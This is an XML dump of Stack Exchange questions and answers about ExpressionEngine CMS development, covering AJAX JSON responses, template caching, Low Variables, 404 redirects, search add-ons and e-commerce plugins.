  <row Id="19482" PostTypeId="1" AcceptedAnswerId="19487" CreationDate="2014-02-16T01:09:02.857" Score="2" ViewCount="809" Body="&lt;p&gt;I am trying to return json from a module method. Very simple example at this point.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function mealDates()&#xA;{&#xA;    echo &quot;{\&quot;foo\&quot; : \&quot;bar\&quot;}&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.ajax({&#xA;    //request dates that are already taken&#xA;    type: &quot;POST&quot;,&#xA;    url: &quot;ACT=79&quot;,&#xA;    success: function(json){&#xA;        console.log(json);&#xA;    },&#xA;    error: function(e){&#xA;&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I declare dataType: 'json' returns error. If I don't I still am not getting the {&quot;foo&quot; :&quot;bar&quot;} from method. Suggestions on how to return json to template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2014-02-16T18:41:09.183" Title="Ajax Request from Template" Tags="|module|ajax|json|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19483" PostTypeId="2" ParentId="19160" CreationDate="2014-02-16T06:57:56.167" Score="2" Body="&lt;p&gt;In my experience, &lt;code&gt;{super_search_keywords}&lt;/code&gt; won't parse outside the results loop, despite what SolSpace's documentation says.&lt;/p&gt;&#xA;" OwnerUserId="2109" LastActivityDate="2014-02-16T06:57:56.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19484" PostTypeId="1" AcceptedAnswerId="19492" CreationDate="2014-02-16T13:09:44.907" Score="1" ViewCount="793" Body="&lt;p&gt;I've been playing around with the caching settings on my EE site. I'm getting really good server response times and the getting the number of queries right down which is perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've always avoided caching due to content 'being out of date', but I realise if you have the config value 'new_posts_clear_caches' set to 'y' then each time there is a new post or one gets edited or a new comment is added then the cache is cleared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is about the cache expiry times. I've been defaulting to 60 mins but now I'm thinking that if the cache is cleared when new content is posted then why not set this much higher - 24 hours or so? Is there a downside to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some tags which really don't need updating much at all - category lists for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, I'm not caching any parts which vary based on member login etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do people set their cache times to?&lt;/p&gt;&#xA;" OwnerUserId="2293" LastActivityDate="2014-02-17T16:18:39.317" Title="Template Caching and Cache Times" Tags="|caching|optimization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19486" PostTypeId="2" ParentId="18435" CreationDate="2014-02-16T15:51:58.800" Score="1" Body="&lt;p&gt;EE CP don't use variables from index.php. Only from config's or from admin.php. Index.php is only effected on Frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For other sites the system preference is keep in DB (exp_sites table). So you just need to change it for each site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. possible you setup your first site site_url in admin.php - you need to removed for your model.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-02-16T15:57:59.360" LastActivityDate="2014-02-16T15:57:59.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19487" PostTypeId="2" ParentId="19482" CreationDate="2014-02-16T18:41:09.183" Score="2" Body="&lt;p&gt;You can use &lt;code&gt;send_ajax_response()&lt;/code&gt; which will return JSON and works well for response to ajax requests. For your example you'd do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function mealDates()&#xA;{&#xA;    $array = array(&#xA;        'foo' =&amp;gt; 'bar', &#xA;    );&#xA;&#xA;    return $ee()-&amp;gt;output-&amp;gt;send_ajax_response($array);  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-02-16T18:41:09.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19488" PostTypeId="1" CreationDate="2014-02-16T21:56:03.593" Score="1" ViewCount="57" Body="&lt;p&gt;Like, say if you require 10 entries in your Channel limit but there is only 4. Is there a way of filling in these 'spaces' with alternate text or html?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found a plugin called &lt;a href=&quot;http://devot-ee.com/add-ons/filler&quot; rel=&quot;nofollow&quot;&gt;Filler&lt;/a&gt; which does exactly this but it doesn't work in my case as I'm filtering the results through a couple of custom field searches via another plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone had to address something like this? Or any suggestions of another way to get alternate content into a channel entries loop as described above? Would use an if conditional but that won't work so is basically a way of faking an entry or entries that's needed.&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-02-17T10:18:25.033" Title="Filling in spaces for entries..." Tags="|channel-entries|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19489" PostTypeId="2" ParentId="19451" CreationDate="2014-02-17T00:44:16.893" Score="1" Body="&lt;p&gt;Don't use PayPal's button generator, because that won't be integrated at all with Store. You want to add PayPal Express as an additional option in Store, alongside PayPal Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enable both payment methods in the control panel. Then you will need to use either hidden fields or radio buttons to give users a choice of which payment method to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, submit a &lt;code&gt;payment_method&lt;/code&gt; field in your checkout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;radio&quot; name=&quot;payment_method&quot; value=&quot;PayPal_Pro&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;radio&quot; name=&quot;payment_method&quot; value=&quot;PayPal_Express&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-02-17T00:44:16.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19490" PostTypeId="1" AcceptedAnswerId="19491" CreationDate="2014-02-17T01:00:46.133" Score="3" ViewCount="187" Body="&lt;p&gt;I'm trying to access the entry_id of an entry (one only) selected with Low Variables, to use as a parameter in a channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entries are stored in site A. The template is in site B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other &lt;a href=&quot;https://stackoverflow.com/questions/13101138/passing-entry-ids-to-channelentries-tag-with-low-variables-entries-select&quot;&gt;SE solutions&lt;/a&gt; involve using the variable syntax instead of the tag syntax, however, that syntax only works with the Low Variables 'select' variable type, which does not allow selections across MSM sites.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The Playa variable type does allow selections across MSM sites but I can't figure out how to use that to output the entry id's as an early-parsed parameter in the channel entries tag. Whatever I try produces nothing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have tried setting up the variable in site A using the select variable type and then using the variable syntax in Site B template, but it doesn't allow me to pull info from site A using that syntax.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have tried using the :parse syntax with site A selected. If I use this outside the channel:entries tag it works and outputs the correct entry_id, but using it inside the entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;{exp:channel:entries site=&quot;default_site&quot; channel=&quot;project_news|projects&quot; limit=&quot;1&quot; entry_id=&quot;{exp:low_variables:parse var='default_site:gv_ft-featured-stories'}&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; dynamic=&quot;no&quot; disable=&quot;category_fields|member_data|pagination&quot;}&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doesn't work - it just produces: &lt;pre&gt;entry_id=&quot;M10o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&quot;&lt;/pre&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;ul&gt;&lt;li&gt;I have enabled early parsing in the variable settings.&lt;/li&gt;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any advice appreciated.&lt;/p&gt;&#xA;" OwnerUserId="291" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-02-17T01:10:56.323" Title="Low variable as channel entry_id parameter across MSM sites" Tags="|multi-site-manager|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19491" PostTypeId="2" ParentId="19490" CreationDate="2014-02-17T01:10:56.323" Score="3" Body="&lt;p&gt;OK - got it working by using :parse in a tag pair around the channel:entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var='default_site:gv_ft-featured-stories'}&#xA;{exp:channel:entries site=&quot;default_site&quot; channel=&quot;project_news|projects&quot; limit=&quot;1&quot; entry_id=&quot;{gv_ft-featured-stories:data}&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; dynamic=&quot;no&quot; disable=&quot;category_fields|member_data|pagination&quot;}{title}&#xA;...&#xA;{/exp:channel:entries}&#xA;{/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There might be other/better ways but this is working for me.&lt;/p&gt;&#xA;" OwnerUserId="291" LastActivityDate="2014-02-17T01:10:56.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19492" PostTypeId="2" ParentId="19484" CreationDate="2014-02-17T02:06:30.147" Score="3" Body="&lt;p&gt;I personally think the ideal is that each page is cached non-stop until the content or template changes. This is possible with add-ons like Causing Effect CE Cache, which is great for high-performance / high-load sites. On these sites, pages can be cached for days and months without being refreshed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use only the built-in EE caching, I tend to set the cache refresh time to be 60 - 180 minutes. It's arbitrary--long enough to help performance, but short enough that site content managers can always trust that their changes will go live that day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I think it's fine to set a much longer cache expiration time--especially if the site content managers understand how the cache works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a &lt;a href=&quot;http://martinfowler.com/bliki/TwoHardThings.html&quot; rel=&quot;nofollow&quot;&gt;famous saying&lt;/a&gt; that cache invalidation is one of the two hard problems in computer science. And, for EE--both with its native caching, and with add-ons like CE Cache and Solspace Static Page Caching, the reality is that sometimes the cache expiration for a particular page / template doesn't happen as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So imho the one reason to set shorter cache durations is for EE to have more chances at refreshing pages / templates in any period, because it may fail to refresh the cache in one way or another at any given moment. But this is a little issue, or a non-issue, if the content manager knows how to recognize whether a change has gone &quot;live,&quot; and also then is comfortable manually refreshing the cache when needed.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2014-02-17T02:06:30.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19493" PostTypeId="1" CreationDate="2014-02-17T05:54:30.913" Score="2" ViewCount="63" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v6P10.png&quot; alt=&quot;Pricing options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have two pricing options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pay as you go ($30 one off)&lt;/li&gt;&#xA;&lt;li&gt;Per term/semester ($25 a week, paid in full for the semester with each class varying in price and length)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What is the best way to do this type of pricing in CartThrob where we can enter in the amount of lessons per semester (preferably in the cartThrob fields) and the two rates (pay as you go + per class per semester) and it automatically spits out the per semester cost?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rREwu.png&quot; alt=&quot;sdf&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2758" LastActivityDate="2014-02-17T05:54:30.913" Title="Pricing sanity check" Tags="|cartthrob|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19494" PostTypeId="2" ParentId="19480" CreationDate="2014-02-17T06:38:38.513" Score="1" Body="&lt;p&gt;Assets does add new rows every time you run indexing. Assets also should be deleting the rows belonging to the current session once it's done indexing (if it's allowed to run to the end).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, it's completely safe to truncate that table, unless you are in the middle of running an index update.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-02-17T06:38:38.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19495" PostTypeId="2" ParentId="19488" CreationDate="2014-02-17T10:18:25.033" Score="2" Body="&lt;p&gt;If it's a form of daily calendar than I'd look to handle the display purely in the front-end templates so that each hour slot is laid out in full. You can then just loop through the channel entries for that channel and test on a single conditional to see if it has either been &lt;em&gt;booked&lt;/em&gt; or is &lt;em&gt;vacant&lt;/em&gt;. This can be either be a status message on the channel entry or checking the existence of a particular field for details of that appointment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case you wouldn't need any filler content as it's handled by the template itself and you're just adding a status to it. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-02-17T10:18:25.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19497" PostTypeId="2" ParentId="19470" CreationDate="2014-02-17T14:12:50.703" Score="7" Body="&lt;p&gt;I'd recommend giving &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-flexible-admin&quot;&gt;Zoo Flexible Admin&lt;/a&gt; a whirl.  It allows you to create a custom menu in the control panel per member group - and that is a pretty powerful thing when it comes to reorganizing the menus in the control panel, labelling them in a manner that makes sense for your client and stripping out anything they really don't need to see or even have access to. You can greatly simplify the control panel and achieve a much more streamlined experience for your site admins with it.  I highly recommend it.  And of course within the publish page itself, EE's native publish layouts give you the ability to reorganize the publish screen itself - not hugely, but certainly enough to improve the admin experience there as well.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-02-17T14:12:50.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19498" PostTypeId="2" ParentId="19484" CreationDate="2014-02-17T16:18:39.317" Score="1" Body="&lt;p&gt;It's been long enough now that I don't remember the details, but I had a conversation with Nevin of Engine Hosting and his recommendation was 10 minutes max. Maybe a conversation with someone from your hosting environment is in order.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-02-17T16:18:39.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19499" PostTypeId="1" CreationDate="2014-02-17T16:51:58.937" Score="1" ViewCount="76" Body="&lt;p&gt;I've got the following code inside a channel entry tag. It works fine, but i just want to group it by {which-day} and then orderby another custom field. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;lessons&quot;}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;{parents:title}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{parents:day&quot;}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do this natively?&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-02-17T16:51:58.937" Title="Group entries by custom field from a relationship field" Tags="|channel-entries|relationships|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19500" PostTypeId="1" AcceptedAnswerId="19549" CreationDate="2014-02-17T17:29:23.263" Score="0" ViewCount="341" Body="&lt;p&gt;Im trying to add breadcrumbs to my application, Although I am not getting any results. Below you can see my code and a image of the result i am getting :(&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;   &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li class=&quot;home&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;/&quot;&amp;gt;&#xA;      &amp;lt;span class=&quot;pictos home-icon&quot; aria-hidden=&quot;true&quot; data-icon=&quot;H&quot;&amp;gt;&amp;lt;/span&amp;gt; Home&#xA;        &amp;lt;/a&amp;gt; &#xA;    &amp;lt;span class=&quot;pictos smallArrow&quot; aria-hidden=&quot;true&quot; data-icon=&quot;P&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;     {exp:structure:breadcrumb here_as_title=&quot;yes&quot; wrap_each=&quot;li&quot; inc_separator=&quot;yes&quot; separator=&quot; &amp;lt;span class='smallArrow' aria-hidden='true' data-icon='P'&amp;gt;&amp;lt;/span&amp;gt;&quot; inc_home=&quot;no&quot; add_last_class=&quot;yes&quot; class=&quot;active&quot;}&#xA;     {/exp:structure:breadcrumb}    &#xA;     {if freebie_1 == &quot;search&quot;}&amp;lt;li class=&quot;last&quot;&amp;gt;Search Results&amp;lt;/li&amp;gt;{/if}&#xA;   &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GdAEy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1916" LastEditorUserId="1916" LastEditDate="2014-02-17T17:36:39.123" LastActivityDate="2014-02-18T21:56:40.433" Title="structure:breadcrumb Not working" Tags="|structure|url-title|links|freebie|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19502" PostTypeId="1" CreationDate="2014-02-17T17:40:54.887" Score="1" ViewCount="87" Body="&lt;p&gt;I'm using the Realex Direct payment gateway (Global Iris), and the return page isn't showing the transaction's status (I'm using the docs' example code, hence the text showing beneath where the status should be):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9xwmc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should note that previously I was instead getting a &quot;The action you have requested is invalid&quot; error returned. I solved that by adding &quot;$config['secure_forms']; n&quot; to the config file and/or setting csrf_exempt to = 1 in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I gather the gateway uses 3D Secure / MPI. Could that be returning different results to what the plugin is expecting (maybe liability-related results?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2759" LastActivityDate="2014-02-17T17:40:54.887" Title="Cartthrob Realex Direct/Global Iris transaction status not returned" Tags="|cartthrob|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19503" PostTypeId="1" AcceptedAnswerId="19506" CreationDate="2014-02-17T18:35:25.037" Score="2" ViewCount="753" Body="&lt;p&gt;Do you know if it's possible to redirect to a specific 404 page when a template group isn't found rather than just show the 404 with the incorrect url?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go to &lt;code&gt;example.com/nonexistant-templategroup/&lt;/code&gt; I need it to redirect to &lt;code&gt;example.com/404/&lt;/code&gt; rather than stay as &lt;code&gt;/nonexistant-templategroup/&lt;/code&gt; showing the 404 template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2014-02-17T20:08:25.917" Title="Template 404 Redirect" Tags="|templates|404|redirection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19504" PostTypeId="2" ParentId="14652" CreationDate="2014-02-17T19:18:38.473" Score="1" Body="&lt;p&gt;I also had this issue, Uninstalling, removing the settings in the extension table and reinstalling resolved the issue.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2014-02-17T19:18:38.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19506" PostTypeId="2" ParentId="19503" CreationDate="2014-02-17T20:02:59.607" Score="3" Body="&lt;p&gt;You can accomplish that by doing the following: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a template group called &lt;code&gt;404.group&lt;/code&gt; and in that template group create an &lt;code&gt;index.html&lt;/code&gt; template (this will be your 404 template)&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;em&gt;&quot;Enable Strict URLs&quot;&lt;/em&gt; to &lt;em&gt;&quot;Yes&quot;&lt;/em&gt; in your &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html&quot; rel=&quot;nofollow&quot;&gt;Global Template Preferences&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;For the &lt;em&gt;&quot;404 Page&quot;&lt;/em&gt; setting choose &lt;em&gt;&quot;404/index&quot;&lt;/em&gt; (the template you created in step 1 above), again in your Global Template Preferences&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;code&gt;404.gorup/index.html&lt;/code&gt; put the following conditional&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 != &quot;404&quot; OR segment_2 != &quot;&quot;}&#xA;    {redirect=&quot;404/index&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will ensure that when a 404 is triggered and your 404 template is shown, it will be further redirected to the &lt;em&gt;vanity&lt;/em&gt; 404 URL of just &lt;code&gt;/404&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple potential downsides to doing this, though. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You won't have a record of these 404 URLs in Google Analytics so that you can see what URLs are erroring.&lt;/li&gt;&#xA;&lt;li&gt;The http status will not actually be 404, but 302 (redirect). You could get around this by using the &lt;a href=&quot;http://devot-ee.com/add-ons/http-header&quot; rel=&quot;nofollow&quot;&gt;HTTP Header plugin&lt;/a&gt; and deliberately setting the status with &lt;code&gt;{exp:http_header status=&quot;404&quot;}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-02-17T20:08:25.917" LastActivityDate="2014-02-17T20:08:25.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19507" PostTypeId="1" CreationDate="2014-02-17T20:46:23.317" Score="1" ViewCount="66" Body="&lt;p&gt;I am currently trying to impliment a search of my Zoo Visiter entries; my channel is called Associate. As my title for this support request would suggest, I have Super Search installed on my site as my search engine of choice. I have tried multiple configurations using Super Search with no luck. Is it possible for me to display these member entries as search results? Am I doing this incorrectly, or is this just not possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My results code is below for reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results channel=&quot;associate&quot; limit=&quot;10&quot; group=&quot;Associate&quot; keyword_search_author_name=&quot;yes&quot; author_indicator=&quot;screen_name&quot; partial_author=&quot;yes&quot; paginate=&quot;bottom&quot;}&#xA;  {if super_search_no_results}&#xA;   &amp;lt;div class=&quot;result&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;No Results Found&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;     There were no results found for your search.&#xA;    &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;  {/if}&#xA;  &amp;lt;div class=&quot;item {switch='lightblue|teal|orange|blue|brown|green'}&quot;&amp;gt;&#xA;   &amp;lt;a href=&quot;{url_title_path=&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;title&quot;&amp;gt;&#xA;     {title}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;category&quot;&amp;gt;&#xA;     &amp;lt;div class=&quot;text&quot;&amp;gt;&amp;lt;span&amp;gt;Insights&amp;lt;/span&amp;gt; / {categories show_group=&quot;1&quot; backspace=&quot;2&quot;}{category_name}, {/categories}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/a&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  {snp_pagination}&#xA; {/exp:super_search:results} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2555" LastActivityDate="2014-02-17T20:46:23.317" Title="Displaying Zoo Visitor Results with Super Search" Tags="|solspace|zoo-visitor|supersearch|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19508" PostTypeId="1" AcceptedAnswerId="19541" CreationDate="2014-02-17T21:19:22.453" Score="2" ViewCount="151" Body="&lt;p&gt;My goal was to mark current/active article on the list. Code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;list-plain&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;products&quot; category=&quot;{segment_3_category_id}&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; status=&quot;open&quot; paginate=&quot;bottom&quot; dynamic=&quot;no&quot;}&#xA;{if switchee_no_results}&amp;lt;div class=&quot;&quot;&amp;gt;&amp;lt;p&amp;gt;No entries yet.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;{/if}&#xA;&amp;lt;li {if segment_4==&quot;{url_title}&quot;} class=&quot;current&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{site_url}{segment_1}/{segment_2}/{segment_3}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;        &#xA;{/exp:channel:entries}        &#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but no class added to the proper list item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I have decided to check if IF statement works and did simple test run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Seg: {segment_4} - URL: {url_title}&#xA;{if segment_4==&quot;{url_title}&quot;}FOUND!{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;no result found even there was proper Seg to Url match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I have checked if there is no results&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Seg: {segment_4} - URL: {url_title}&#xA;{if segment_4==&quot;{url_title}&quot;}FOUND!{if:else}NOT FOUND{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I have got proper matches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue what is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-02-18T15:52:51.390" LastActivityDate="2014-02-18T16:45:13.947" Title="If statement on segment eq url_title - strange behavior" Tags="|segments|url-title|ifelse|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19509" PostTypeId="1" AcceptedAnswerId="19547" CreationDate="2014-02-17T21:32:55.007" Score="0" ViewCount="70" Body="&lt;p&gt;My code for GWcode Categories add-on looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories group_id=&quot;4&quot; cat_url_title=&quot;{segment_2}&quot; last_only=&quot;yes&quot; class=&quot;list-plain&quot; class_current=&quot;current_category&quot;}&#xA;&amp;lt;a href=&quot;{path=&quot;{segment_1}/{complete_path}&quot;}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on Nick suggestion I have used GWcode CatMenu add-on&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_catmenu group_id=&quot;4&quot; cat_url_title=&quot;{segment_2}&quot; min_depth=&quot;2&quot; class=&quot;list-plain&quot;}&#xA;&amp;lt;a href=&quot;{path=&quot;{segment_1}/{complete_path}&quot;}&quot;&#xA;{if active} class=&quot;current&quot;{/if}&amp;gt;&#xA;{cat_name}&#xA;&amp;lt;/a&amp;gt;&#xA;{/exp:gwcode_catmenu}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I have no clue why on current category class is not added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-02-18T17:43:31.833" LastActivityDate="2014-02-18T20:40:48.820" Title="GWcode Categories and class_current is not added" Tags="|categories|gwcode-categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
